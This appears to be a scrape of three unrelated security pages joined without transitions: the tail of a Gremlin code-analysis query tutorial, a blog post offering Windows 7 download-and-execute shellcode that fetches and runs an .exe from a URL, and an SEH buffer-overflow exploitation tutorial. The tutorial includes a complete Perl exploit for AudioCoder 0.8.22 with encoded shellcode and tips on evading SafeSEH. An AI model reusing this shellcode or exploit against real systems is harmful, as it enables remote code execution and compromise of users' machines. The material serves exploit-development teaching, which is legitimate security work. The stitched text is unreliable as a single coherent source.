       getCallsTo('malloc').sideEffect{callId = it**.** id}**.** in('IS_AST_PARENT')
       .filter{ it.type == 'AssignmentExpr'}
       .assignToLval().sideEffect{lval = it.code}
       .astNodeToBasicBlockRoot().filter{ it.type **!** = 'Condition'}
       .astNodeToBasicBlock().transform{ [it,lval] }.reachesUnaltered()
       .groupBy{callId}{ it.code }.cap
    """
    
    for x in j.executeGremlinCmd(query):
        for (k,v) in x.iteritems():
            print v
[/code]

**Adapting output**.**** Finally, we adapt the output so that we can easiely
locate the reported code fragments: Instead of just keeping the code of each
block reached, we also record the type of its AST subtree, allowing us to spot
conditions**.** In addition, we use the pre-defined step
'functionToLocationRow' to obtain the functions filename, name and position in
the file**.**

[code]

    query = """
       getCallsTo('g_malloc').sideEffect{callId=it**.** id;funcId=it.functionId}**.** in('IS_AST_PARENT')
       .filter{ it.type == 'AssignmentExpr'}
       .assignToLval().sideEffect{lval = it.code}
       .astNodeToBasicBlockRoot().filter{ it.type **!** = 'Condition'}
       .astNodeToBasicBlock().transform{ [it,lval] }.reachesUnaltered()
       .sideEffect{blockType = it.basicBlockToAST().type;
       funcRow = g.v(it.functionId).functionToLocationRow() }
       .groupBy{callId}{ [blockType, it.code, funcRow] }.cap
    """
    print 'Results'
    
    for x in j.executeGremlinCmd(query):
        for (k,v) in x.iteritems():       
            nonConditions = [x for x in v if x[0][0] **!** = 'Condition']
            conditions = [x for x in v if x[0][0] == 'Condition']
            if (len(conditions) == 0 and len(nonConditions) > 0):
                print '==='  + str(v[0][2])
[/code]

****

# Bkis Blog » Download and Execute shellcode on Windows 7

**Created:**| _4/13/2011 7:46:24 AM_  
---|---  
**Updated:**| _4/13/2011 7:46:24 AM_  
**Author:**| __  
**Tags:**| _shellcode windows_  
  

## Download and Execute shellcode on Windows 7

Published by admin at 4:59 pm under Security Research

Recently, I need a shellcode to download and execute an .exe file on Windows 7
for my experiment. However, there is not such a shellcode available.

Meanwhile, the download and execution shellcode generated by Metasploit
Framework, currently, is unable to work on Windows 7, and the search on the
Internet does not bring about desirable results.

With reference to the shellcode of “SkyLined” and some other shellcodes from
milw0rm.com, I wrote a shellcode at my own discretion. And this is the result
I would like to share with you:

shellcode\[\] =  
“\xEB\x50\x31\xF6\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x6E”  
“\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B\x4B\x18\x67″  
“\xE3\xEC\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31\xC0\x99″  
“\x02\x17\xC1\xCA\x04\xAE\x75\xF8\x3B\x54\x24\x04\xE0\xE4\x75\xCE”  
“\x8B\x53\x24\x01\xEA\x0F\xB7\x14\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C”  
“\x97\xC3\x68\x8E\x48\x8B\x63\xE8\xA6\xFF\xFF\xFF\x66\xB8\x6C\x6C”  
“\x50\x68\x6F\x6E\x2E\x64\x68\x75\x72\x6C\x6D\x54\xFF\xD5\x68\x83″  
“\x2B\x76\xF6\xE8\x8A\xFF\xFF\xFF\xEB\x21\x50\xFF\xD5\x68\xE7\xC4″  
“\xCC\x69\xE8\x7B\xFF\xFF\xFF\x50\x4C\x4C\x4C\x4C\xFF\xD5\x68\x77″  
“\xA6\x60\x2A\xE8\x6A\xFF\xFF\xFF\x50\xFF\xD5\x50\x68\x2E\x65\x78″  
“\x65\x68\x43\x3A\x5C\x78\x50\x50\x89\xE3\x80\xC3\x08\x53\xE8\xC7″  
“\xFF\xFF\xFFhttp://website.com/file.exe”;

As can be seen, the URL is placed at the end of the shellcode.  
The shellcode was successfully experimented on Windows 7, and perhaps it can
also work on Windows 2000 and later versions.

# Windows Exploit Development – Part 6: SEH Exploits - Security SiftSecurity
Sift

**Created:**| _8/19/2015 11:49:57 AM_  
---|---  
**Updated:**| _8/19/2015 12:58:38 PM_  
**Author:**| __  
**Tags:**| _windows environment_  
  

### Introduction

The buffer overflow exploits covered so far in this tutorial series have
generally involved some form of direct EIP overwrite using a CALL or JMP
instruction\(s\) to reach our shellcode. Today we’ll take a look at a
different approach using Windows Structured Exception Handling \(SEH\).

Before I begin explaining the basic mechanics of Windows Structured Exception
Handling \(as it’s implemented in an x86, 32-bit environment\) it bears
mentioning that I intentionally omitted several details \(termination handling
vs. exception handling, unwinding, vectored exception handling, etc.\) to
focus on the basic concepts and to provide enough background information to
understand SEH in the context of exploit writing. I encourage you to read up
on these additional details using the references I’ve provided at the end of
this post.

### What is Structured Exception Handling?

Structured Exception Handling \(SEH\) is a Windows mechanism for handling both
hardware and software exceptions consistently.

Those with programming experience might be familiar with the exception
handling construct which is often represented as a try/except or try/catch
block of code. For the purposes of this discussion, I’ll reference the
Microsoft extension to the C/C++ languages which looks as follows:

\_\_try \{ // the block of code to try \(aka the "guarded body"\) ... \}
\_\_except \(exception filter\) \{ // the code to run in the event of an
exception \(aka the "exception handler\) ... \}

12345678| \_\_try \{ // the block of code to try \(aka the "guarded body"\)
...\}\_\_except \(exception filter\) \{ // the code to run in the event of an
exception \(aka the "exception handler\) ...\}  
---|---  
The concept is quite simple — try to execute a block of code and if an
error/exception occurs, do whatever the “except” block \(aka the _exception
handler_\) says. The exception handler is nothing more than another block of
code that tells the system what to do in the event of an exception. In other
words, it _handles_ the exception.

Exception handlers might be implemented by the application \(via the above
\_\_try/\_\_except construct\) or by the OS itself. Since there are many
different types of errors \(divide by zero, out of bounds, etc\), there can be
many corresponding exception handlers.

Regardless of where the exception handler is defined \(application vs. OS\) or
what type of exception it is designed to handle, all handlers are managed
centrally and consistently by Windows SEH via a collection of designated data
structures and functions, which I’ll cover at a high level in the next
section.

### Major Components of SEH

For every exception handler, there is an Exception Registration Record
structure which looks like this:

typedef struct \_EXCEPTION\_REGISTRATION\_RECORD \{ struct
\_EXCEPTION\_REGISTRATION\_RECORD \*Next; PEXCEPTION\_ROUTINE Handler; \}
EXCEPTION\_REGISTRATION\_RECORD, \*PEXCEPTION\_REGISTRATION\_RECORD;

1234| typedef struct \_EXCEPTION\_REGISTRATION\_RECORD \{ struct
\_EXCEPTION\_REGISTRATION\_RECORD \*Next; PEXCEPTION\_ROUTINE Handler; \}
EXCEPTION\_REGISTRATION\_RECORD, \*PEXCEPTION\_REGISTRATION\_RECORD;  
---|---  
source: http://blogs.technet.com/b/srd/archive/2009/02/02/preventing-the-
exploitation-of-seh-overwrites-with-sehop.aspx  

These registration records are chained together to form a linked list. The
first field in the registration record \(\*Next\) is a pointer to the next
\_EXCEPTION\_REGISTRATION\_RECORD in the SEH chain. In other words, you can
navigate the SEH chain from top to bottom by using the \*Next address. The
second field \(Handler\), is a pointer to an exception handler function which
looks like this:

EXCEPTION\_DISPOSITION \_\_cdecl \_except\_handler\( struct
\_EXCEPTION\_RECORD \*ExceptionRecord, oid EstablisherFrame, struct \_CONTEXT
\*ContextRecord, void \* DispatcherContext \);

1234567| EXCEPTION\_DISPOSITION \_\_cdecl \_except\_handler\( struct
\_EXCEPTION\_RECORD \*ExceptionRecord, oid EstablisherFrame, struct \_CONTEXT
\*ContextRecord, void \* DispatcherContext\);  
---|---  
The first function parameter is a pointer to an \_EXCEPTION\_RECORD structure.
As you can see below, this structure holds information about the given
exception including the exception code, exception address, and number of
parameters.

typedef struct \_EXCEPTION\_RECORD \{ DWORD ExceptionCode; DWORD
ExceptionFlags; struct \_EXCEPTION\_RECORD \*ExceptionRecord; PVOID
ExceptionAddress; DWORD NumberParameters; DWORD
ExceptionInformation\[EXCEPTION\_MAXIMUM\_PARAMETERS\]; \} EXCEPTION\_RECORD;

12345678| typedef struct \_EXCEPTION\_RECORD \{ DWORD ExceptionCode; DWORD
ExceptionFlags; struct \_EXCEPTION\_RECORD \*ExceptionRecord; PVOID
ExceptionAddress; DWORD NumberParameters; DWORD
ExceptionInformation\[EXCEPTION\_MAXIMUM\_PARAMETERS\];\} EXCEPTION\_RECORD;  
---|---  
source: http://www.microsoft.com/msj/0197/exception/exception.aspx  

The \_except\_handler function uses this information \(in addition to the
registers data provided in the ContextRecord parameter\) to determine if the
exception can be handled by the current exception handler or if it needs to
move to the next registration record. The EstablisherFrame parameter also
plays an important role, which we’ll get to in a bit.

The EXCEPTION\_DISPOSITION value returned by the \_except\_handler function
tells the OS whether the exception was successfully handled \(returns a value
of ExceptionContinueExecution\) or if it must continue to look for another
handler \(returns a value of ExceptionContinueSearch\).

So how does Windows SEH use the registration record, handler function, and
exception record structure when trying to handle an exception? When an
exception occurs, the OS starts at the top of the chain and checks the first
\_EXCEPTION\_REGISTRATION\_RECORD Handler function to see if it can handle the
given error \(based on the information passed in the ExceptionRecord and
ContextRecord parameters\). If not, it will move to the next
\_EXCEPTION\_REGISTRATION\_RECORD \(using the address pointed to by \*Next\).
It will continue moving down the chain in this manner until it finds the
appropriate exception handler function. Windows places a default/generic
exception handler at the end of the chain to help ensure the exception will be
handled in some manner \(represented by FFFFFFFF\) at which point you’ll
likely see the “ _…has encountered a problem and needs to close_ ” message.

Each thread has its own SEH chain. The OS knows how to locate the start of
this chain by referencing the ExceptionList address of the thread
information/environment block \(TIB/TEB\) which is located at FS:\[0\]. Here’s
a basic diagram of the Windows SEH chain with a simplified version of the
\_EXCEPTION\_REGISTRATION\_RECORD:

<img src='img/Temp2_9792.png' width='640' height='524' alt='win_exploit_6_1'
/>  

This is by no means a complete overview of SEH or all of its data structures,
but it should provide you with enough detail to understand the fundamental
concepts. Now let’s take a look at SEH in the context of an actual
application.

### SEH Example

Let’s take a look at how SEH is implemented in practice, using Windows Media
Player as an example. Recall from Part 1 of this exploit series that you can
view the contents of the TEB using the \!teb command in WinDbg. Here is a
snapshot of the running process threads and a look at one of the associated
TEBs for Windows Media Player \(on a Win XP SP3 machine\):

<img src='img/Temp2_9785.png' width='640' height='163' alt='win_exploit_6_2'
/>  

Notice the ExceptionList address. This is the address of the start of the SEH
chain for that thread \(yours may vary\). In other words, this address points
to the first \_EXCEPTION\_REGISTRATION\_RECORD in the SEH chain. Let’s take a
look at how to find this same information in Immunity Debugger.

After attaching Windows Media Player to Immunity, you can hit Alt+M to view
the Memory Modules. In this example, I’ll double-click the same thread
examined in WinDbg \(00013C20\).

<img src='img/Temp2_9805.png' width='640' height='146' alt='win_exploit_6_3'
/>  

This opens up the Dump window for that thread, which you’ll notice is the TEB.
Just as in WinDbg, you’ll see that the start of the SEH chain is located at
02B6FF5C.

Another way to find the start of the SEH chain for the current thread is by
dumping FS:\[0\] as follows:

<img src='img/Temp2_9783.png' width='307' height='418' alt='win_exploit_6_5'
/>  

Again, notice the first address is 02B6FF5C which in turn, points to 02B6FFDC
\(the start of the SEH chain\).

The final, and easiest method of viewing the SEH chain in Immunity is by
hitting Alt+S:

<img src='img/Temp2_9786.png' width='314' height='200' alt='win_exploit_6_6'
/>  

No surprise, the first entry in the chain is 02B6FF5C. What this SEH chain
window also clearly shows is that there are two
\_EXCEPTION\_REGISTRATION\_RECORDs for this thread \(SEH chain length = 2\)
and they both point to the same exception handler function.

If you take a look at the stack for this thread \(towards the bottom\), you’ll
be able to see this SEH chain, starting at 02B6FF5C.

<img src='img/Temp2_9801.png' width='640' height='399' alt='win_exploit_6_4'
/>  

Again, you can see both registration records in the SEH chain — the first is
the start of the chain located at 02B6FF5C and the second is the default
handler \(as indicated by FFFFFFFF / “End of SEH Chain“\) at 02B6FFDC.

### Exploiting SEH

Now that you have an idea of how Windows SEH works and how to locate the SEH
chain in Immunity, let’s see how it can be abused to craft reliable exploits.
For this example, I’m going to use the basic C program example from Part 1 of
this exploit series \(original source: Wikipedia\).

<img src='img/Temp2_9804.png' width='333' height='200' alt='strcpy' />  

For demo purposes I’ve compiled it using MS Visual Studio Command Line with
the /Zi switch \(for debugging\) and /GS- switch \(to remove stack cookie
protection\). Running the program with an argument of 10 A’s \(stack\_demo.exe
AAAAAAAAAA\) you can see that by default there are two entries in the SEH
chain \(neither of which are explicitly defined in the application code
itself\).

<img src='img/Temp2_9799.png' width='238' height='52' alt='win_exploit_6_9' />  

And on the stack…

<img src='img/Temp2_9796.png' width='387' height='307' alt='win_exploit_6_7'
/>  

To further illustrate how Windows SEH centrally manages all exceptions
\(regardless of where they are defined\) I’ll add a \_\_try/\_\_except block
to this example program and lengthen the SEH chain by one.

<img src='img/Temp2_9802.png' width='374' height='245' alt='win_exploit_6_8'
/>  

The added \_\_except block doesn’t have any exception handling code but as you
can see in the next screenshot, the new exception handler has been added to
the top of the SEH chain.

<img src='img/Temp2_9789.png' width='342' height='71' alt='win_exploit_6_10'
/>  

If you want to walk through the the addition of this new entry to the SEH
chain, set a couple of breakpoints before and after function foo\( \) is
called. Since this was compiled with debugging enabled you can easily do this
in Immunity by going to View–>Source Files and clicking on the name of the
executable \(in my case I named the updated version stack\_demo\_seh.exe\).

<img src='img/Temp2_9782.png' width='576' height='177' alt='win_exploit_6_13'
/>  

Select the line\(s\) where you’d like to enable a breakpoint and hit F2. In my
case I put one right before the call to foo\( \) \(to see the addition of the
new SEH registration record\) and one right before the call to strcpy \(so I
can step through writing of the arg to the stack\).

<img src='img/Temp2_9797.png' width='343' height='175' alt='win_exploit_6_14'
/>  

After hitting our breakpoints and stepping though execution of strcpy \(using
F7\), you should see the new \_EXCEPTION\_REGISTRATION\_RECORD on the stack
above the previous two entries.

<img src='img/Temp2_9808.png' width='389' height='388' alt='win_exploit_6_11'
/>  

Let me take this opportunity to highlight a few of the other surrounding
entries on the stack \(Note: you won’t see stack cookies here since I used /GS
when compiling\).

<img src='img/Temp2_9803.png' width='640' height='220' alt='win_exploit_6_12'
/>  

As you can see, the local variables are written to the stack right above the
SEH record. In this case our 10 character argument fits within the allocated
buffer, but because there is no bounds checking with strcpy\( \), if we were
to make it larger, we can overwrite the values of Next SEH and SEH.

Let’s try by passing 28 A’s as an argument \(you can pass arguments in
Immunity via File -> Open\).

<img src='img/Temp2_9791.png' width='433' height='102' alt='win_exploit_6_15'
/>  

  

Viewing the the SEH chain \(Alt+S\) you should see this:

<img src='img/Temp2_9793.png' width='272' height='59' alt='win_exploit_6_16'
/>  

Clearly we’ve overwritten our SEH chain, but this alone is not enough to lead
to a viable exploit. In addition to controlling the values of Next SEH and SEH
we also need to trigger an exception so that the exception handler is called
by the OS. What exactly will trigger an exception \(and which handler is
called\) is going to be dependent upon the application but quite often it is
enough to simply continue writing beyond the end of the stack to generate an
error that results in the OS calling the SEH chain.

With this example program, we know that 28 A’s is just enough to overwrite
Next SEH and SEH. This time let’s make the total length of our argument 500
only instead of using all A’s, let’s use the letter B for character positions
21-28. The length should be enough to overwrite the stack to a point that it
generates an exception and we should see Next SEH and SEH overwritten with
B’s.

<img src='img/Temp2_9784.png' width='385' height='390' alt='win_exploit_6_17'
/>  

And examining the SEH chain should reveal…

<img src='img/Temp2_9800.png' width='435' height='101' alt='win_exploit_6_18'
/>  

This demonstrates we have control over the Next SEH and SEH values of the
\_EXCEPTION\_REGISTRATION\_RECORD and we can force the application to trigger
an exception. If you pass the exception to the application \(Shift + F9\) you
should see the following:

<img src='img/Temp2_9810.png' width='422' height='143' alt='win_exploit_6_19'
/>  

By overwriting SEH \(which is called when an exception occurs\), we have taken
control of EIP. But how can we use this to execute shellcode? The answer lies
in the second parameter of the \_except\_handler function we examined earlier.

EXCEPTION\_DISPOSITION \_\_cdecl except\_handler\( \_EXCEPTION\_RECORD
\*ExceptionRecord, oid EstablisherFrame, struct \_CONTEXT \*ContextRecord,
void \* DispatcherContext \);

1234567| EXCEPTION\_DISPOSITION \_\_cdecl except\_handler\(
\_EXCEPTION\_RECORD \*ExceptionRecord, oid EstablisherFrame, struct \_CONTEXT
\*ContextRecord, void \* DispatcherContext\);  
---|---  
When this Exception Handler function is called, the EstablisherFrame value is
placed on the stack at ESP+8. This EstablisherFrame value is actually the
address of our \_EXCEPTION\_REGISTRATION\_RECORD which, as we’ve already
established, starts with Next SEH \(also under our control\).

So, when an exception occurs and the Exception Hander \(SEH\) is called, it’s
value is put in EIP. Since we have control over SEH, we now have control over
EIP and the execution flow of the application. We also know that the
EstablisherFrame \(which starts with Next SEH\) is located at ESP+8, so if we
can load that value into EIP we can continue to control the execution flow of
the application.

Here’s a screenshot of EIP and the stack at the time the Exception Handler is
executed:

<img src='img/Temp2_9806.png' width='408' height='408' alt='win_exploit_6_20'
/>  

So how do we get the EstablisherFrame/\_EXCEPTION\_REGISTRATION\_RECORD
address loaded into EIP? There are several possible approaches, the most
common of which is to overwrite SEH with the address for a POP+POP+RET
instruction to load ESP+8 into EIP.

Using the above screenshot as an example, instead of 42424242, EIP would be
overwritten with the address of a POP+POP+RET sequence. This would pop the
first two entries off of the stack and the return instruction would load
0012FF5C \(the address of the \_EXCEPTION\_REGISTRATION\_RECORD\) into EIP.
Since we have control over the contents of that address, we could then execute
code of our choosing.

Since this basic demo code has no usable pop + pop + ret instructions, let’s
turn our attention to a real-world vulnerable application and apply what we’ve
covered into developing a working SEH exploit.

### Writing an SEH Exploit

Before we start writing any code, let’s first take a look at the typical
construct for an SEH exploit. The most basic SEH exploit buffer is going to be
constructed as follows:

<img src='img/Temp2_9795.png' width='640' height='286' alt='win_exploit_6_24'
/>  

It will start with some filler/junk to offset the buffer to the exact
overwrite of Next SEH and SEH. Remember, SEH will be loaded into EIP when the
exception is triggered. Since it will contain a POP+POP+RET instruction, the
address to the \_EXCEPTION\_REGISTRATION\_RECORD located at ESP+8 will then be
loaded into EIP. Program execution will then immediately hit Next SEH and
execute whatever instruction resides there. In this basic SEH exploit one
would generally control everything on the stack from Next SEH onward. This
means that we can place our shellcode immediately after SEH. The problem we
run into is that when program flow is redirected to Next SEH, it will once
again run into SEH unless we can figure out a way around it. To do so, we can
place a short jump in Next SEH, which will hop over SEH and into our
shellcode.

So to recap, we need the following for our basic SEH exploit:

1\) offset to Next SEH

  

2\) jump code for Next SEH to hop over SEH

  

3\) address for a usable POP+POP+RET instruction

  

4\) shellcode

Now let’s see this in action…

For this SEH Exploit exercise, I’ll use one of my published exploits for
AudioCoder 0.8.22. You can download the vulnerable application directly from
this link: http://www.exploit-db.com/exploits/29309/. I’ll start from scratch
so you can see how the exploit is built, step-by-step.

Once you’ve installed/launched AudioCoder attach Immunity Debugger and run
\(F9\). This particular program is vulnerable to a buffer overflow condition
as it does not perform any bounds checking when reading an .m3u file. To
verify this vulnerability, first create an .m3u file with a 5000 character
Metasploit pattern. Recall the command to create this pattern in Kali is
../metasploit-framework/tools/pattern\_create.rb 5000. You can copy the
pattern into a perl script and create the m3u file as follows \(don’t forget
the “http://”\):

<img src='img/Temp2_9790.png' width='512' height='204' alt='win_exploit_6_21'
/>  

When you open the resulting .m3u file within AudioCoder, you should see
something similar to the following in Immunity:

<img src='img/Temp2_9787.png' width='640' height='281' alt='win_exploit_6_22'
/>  

As you can see, we’ve overwritten EIP as well as our SEH Registration Record
with our Metasploit pattern. You can examine the SEH chain \(Alt+S\) to
verify.

<img src='img/Temp2_9794.png' width='435' height='111' alt='win_exploit_6_23'
/>  

Remember that we have control over EIP because we’ve overwritten SEH. We also
know that at the time of crash, ESP+8 points to Next SEH. So, if we can
overwrite SEH with the address of a POP+POP+RET instruction we can redirect
execution flow to Next SEH. There’s a couple of ways to search for a usable
POP+POP+RET instruction in Immunity. First, you can right click on the
Disassembly window \(top left\) and select “Search for” –> “All sequences in
all modules”. To use this method you need to know the registers you wish to
include in the POP instructions. For example:

<img src='img/Temp2_9807.png' width='311' height='195' alt='win_exploit_6_25'
/>  

This particular choice of registers returns many results to choose from.
Remember that instructions that reside in an application \(vs. OS\) module are
preferred for exploit portability.

<img src='img/Temp2_9812.png' width='640' height='661' alt='win_exploit_6_26'
/>  

Another way to find the POP+POP+RET instruction address is to use the mona
plugin for Immunity \(\!mona seh\):

<img src='img/Temp2_9798.png' width='640' height='141' alt='win_exploit_6_27'
/>  

The benefit of using mona is that it also identifies which modules have been
compiled with SafeSEH, a protection that would eliminate the viability of an
SEH-based exploit. I’ll explain more about SafeSEH in the next section, but
for now just remember to avoid modules that have been compiled with it. Lucky
for us, AudioCoder has plenty of non-SafeSEH modules to choose from\!

Once we’ve chosen a usable POP+POP+RET instruction \(I chose 6601228E which is
a POP EDI + POP EBP + RET instruction from AudioCoder/libiconv-2.dll\) the
next thing we need to do is figure out the offset to Next SEH. As you may
remember from previous tutorials, there are a couple of ways to do this. You
can use pattern\_offset.rb to determine the offset for 7A41327A.

<img src='img/Temp2_9809.png' width='640' height='31' alt='win_exploit_6_29'
/>  

You can also use mona:

<img src='img/Temp2_9811.png' width='640' height='15' alt='win_exploit_6_28'
/>  

So we have our POP+POP+RET address and our offset. Now all we need is some
jump code for Next SEH and our Shellcode.

The jump code we need for Next SEH only needs to get us past the 4 bytes of
SEH. If you recall from part 4 of the series, a short forward jump is
represented by opcode EB. For example \xeb\x14 is a 20 byte forward jump. We
can jump a bit beyond SEH as long as we preface our shellcode with some NOPs.

So, we have:

✓ the offset \(757\)

  

✓ short jump for next seh \(\xeb\x14\x90\x90 — the NOPs are filler for a
2-byte jump in a 4-byte space\)

  

✓ pop pop ret for seh \(0x6601228e\)

  

✓ shellcode \(for demo purposes I’ll use calc.exe\)

At this point we’re ready to construct our exploit which I’ve included below:

  

\#\!/usr/bin/perl

1| \#\!/usr/bin/perl  
---|---  
  

\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

  

\# Exploit Title: AudioCoder 0.8.22 \(.m3u\) – SEH Buffer Overflow

  

\# Date: 10-18-2013

  

\# Exploit Author: Mike Czumak \(T\_v3rn1x\) — @SecuritySift

  

\# Vulnerable Software: AudioCoder 0.8.22
\(http://www.mediacoderhq.com/audio/\)

  

\# Software Link: http://www.fosshub.com/download/AudioCoder-0.8.22.5506.exe

  

\# Version: 0.8.22.5506

  

\# Tested On: Windows XP SP3

  

\# Creates an .m3u file to exploit basic seh bof

  

\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

my $buffsize = 5000; \# sets buffer size for consistent sized payload

  

my $junk = “http://” . \(“\x90″ x 757\); \# offset to seh overwrite

  

my $nseh = “\xeb\x14\x90\x90″; \# overwrite next seh with jmp instruction \(20
bytes\)

  

my $seh = pack\(‘V’,0x6601228e\); \#overwrite seh w/ pop edi pop ebp ret from
AudioCoder\libiconv-2.dll

  

my $nops = “\x90″ x 20;

\# Calc.exe payload \[size 227\]

  

\# msfpayload windows/exec CMD=calc.exe R |

  

\# msfencode -e x86/shikata\_ga\_nai -c 1 -b ‘\x00\x0a\x0d\xff’

  

my $shell = “\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9″ .

  

“\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92″ .

  

“\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84″ .

  

“\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e” .

  

“\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1″ .

  

“\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27″ .

  

“\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb” .

  

“\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b” .

  

“\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2″ .

  

“\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37″ .

  

“\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3″ .

  

“\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef” .

  

“\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb” .

  

“\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf” .

  

“\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83″ .

  

“\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3″ .

  

“\x9a\xca\xc0″;

my $sploit = $junk.$nseh.$seh.$nops.$shell; \# build sploit portion of buffer

  

my $fill = “\x43″ x \($buffsize – \(length\($sploit\)\)\); \# fill remainder
of buffer

  

my $buffer = $sploit.$fill; \# final buffer

\# write the exploit buffer to file

  

my $file = “audiocoder.m3u”;

  

open\(FILE, “>$file”\);

  

print FILE $buffer;

  

close\(FILE\);

  

print “Exploit file created \[” . $file . “\]\n”;

  

print “Buffer size: ” . length\($buffer\) . “\n”;

Open the resulting m3u file in AudioCoder \(without a debugger\) and you
should see:

<img src='img/Temp2_9788.png' width='357' height='226' alt='asx2mp3_calc' />  

### Alternatives to the POP+POP+RET

If you cannot locate a usable POP+POP+RET instruction, you may be able to
reach your shellcode in a different manner. Take another look at the following
screenshot from our earlier basic C program example once again.

<img src='img/Temp2_9806.png' width='417' height='417' alt='win_exploit_6_20'
/>  

Not only does ESP+8 point to our Next SEH address – so does ESP+14, ESP+1c,
etc. This gives us some additional options for calling this address.

#### Popad

One such option is the popad, instruction, which I’ve covered in an earlier
tutorial. Recall popad pops the first eight values from the stack and into the
registers in the following order: EDI, ESI, EBP, EBX, EDX, ECX, and EAX \(ESP
is discarded\). A single popad instruction will therefore leave the address to
Next SEH in EBP, EDX, and EAX. To use this method in our SEH exploit we would
need to not only find a popad instruction but one that also has a JMP/CALL
EBP, JMP/CALL EDX, or JMP/CALL EAX instruction immediately after it. This
particular AudioCoder application had no such set of instructions.

#### JMP/CALL DWORD PTR \[ESP/EBP + offset\]

If there are no usable popad  or POP+POP+RET instructions, you may try to jump
directly to Next SEH on the stack by finding a JMP or CALL instruction to an
offset to ESP \(+8, +14, +1c, +2c, etc\) or EBP \(+c, +24, +30, etc\). Again,
the AudioCoder application did not have any usable instructions to demonstrate
this technique.

The key to both of these options is that just as with POP+POP+RET you must
select instructions from modules that were not compiled with SafeSEH or the
exploit will fail. You will also want to avoid addresses containing null
bytes.

### SEH Exploit Protection

Without going into too much detail about protections such as stack cookies and
ASLR \(which I’ll save for another post\), I want to briefly touch on two
protections that target SEH exploits specifically: SafeSEH and SEHOP. This
section will only familiarize you with the most basic concepts of these
protections so I encourage you to research more on the topics.

#### SafeSEH

Windows XP SP2 introduced the SafeSEH protection mechanism in which validated
exception handlers are registered and stored in a table. The addresses in this
table are checked prior to executing a given exception handler to ensure it is
deemed “safe”. As a result, a POP+POP+RET address used to overwrite an SEH
record that comes from a module compiled with SafeSEH will not appear in the
table and the SEH exploit will fail.

SafeSEH is effective at preventing SEH-based exploits as long as the SEH
overwrite address \(e.g. POP+POP+RET\) comes from a module compiled with
SafeSEH. The good news \(from an exploitability perspective\) is that
application modules are not typically compiled with SafeSEH by default. Even
if most are, any module loaded by an application that was not compiled with
SafeSEH can be used for your SEH overwrite. You can easily find such modules
with mona:

<img src='img/Temp2_9781.png' width='576' height='410' alt='win_exploit_6_30'
/>  

  

Alternatively, you can use the \!mona SEH command which will only look in
modules compiled without SafeSEH by default.

The key with bypassing SafeSEH is to find a module that was not compiled with
the option.

#### Structured Exception Handling Overwrite Protection \(SEHOP\)

As previously stated, one of the downsides of SafeSEH is that it required
changing and rebuilding/compiling executables. Rather than require code
changes, SEHOP works at run time and verifies that a thread’s exception
handler chain is intact \(can be navigated from top to bottom\) before calling
an exception handler. As a result, overwriting the SEH address would break the
chain and trigger SEHOP, rendering the SEH exploit attempt ineffective. SEHOP
does this by adding a custom record to the end of the SEH chain. Prior to
executing an exception handler, the OS ensures this custom record can be
reached by walking the chain from top to bottom.

SEHOP was introduced in Windows Vista SP1 and is available on subsequent
desktop and servers versions. It is enabled by default on Windows Server
Editions \(from 2008 on\) and disabled by default on desktop versions. EMET
also provides SEHOP protection.

There have been demonstrated bypasses of SEHOP protections \(both in native OS
and EMET implementations\) though those are beyond the scope of this post.

For more on SEHOP, see here:
http://blogs.technet.com/b/srd/archive/2009/02/02/preventing-the-exploitation-
of-seh-overwrites-with-sehop.aspx  

### Additional Resources

If you’re interested in researching more on the topic of SEH check out some of
these resources:

About the mechanics of SEH:

  * Structured Exception Handling \(MSDN\)  

  * A Crash Course on the Depths of Win32™ Structured Exception Handling \(Matt Pietrek\)  

Other SEH Exploit Tutorials:

  * Exploit Research MegaPrimer Part 7: Overwrite SEH \(SecurityTube\)  

  * Understanding Structured Exception Handling \(SEH\) Exploitation \(Donny Hubener\)
  * SEH Based Overflow Exploit Tutorial \(Infosec Institute\)  

  * Exploit writing tutorial part 3: SEH Based Exploits \(Corelan Team\)  

  * Exploitation in the ‘New’ Win32 Environment \(Walter Pearce\)  

  * SEH Stack Based Windows Buffer Overflow Tutorial \(The Grey Corner\)  

  * The Need for a POP POP RET Instruction Sequence \(Dimitrios Kalemis\)  

  * Getting from seh to nseh \(the sprawl\)  

### Conclusion

It’s my hope that this tutorial \(and the referenced resources\) provided a
basic understanding of how Microsoft implements exception handling and how SEH
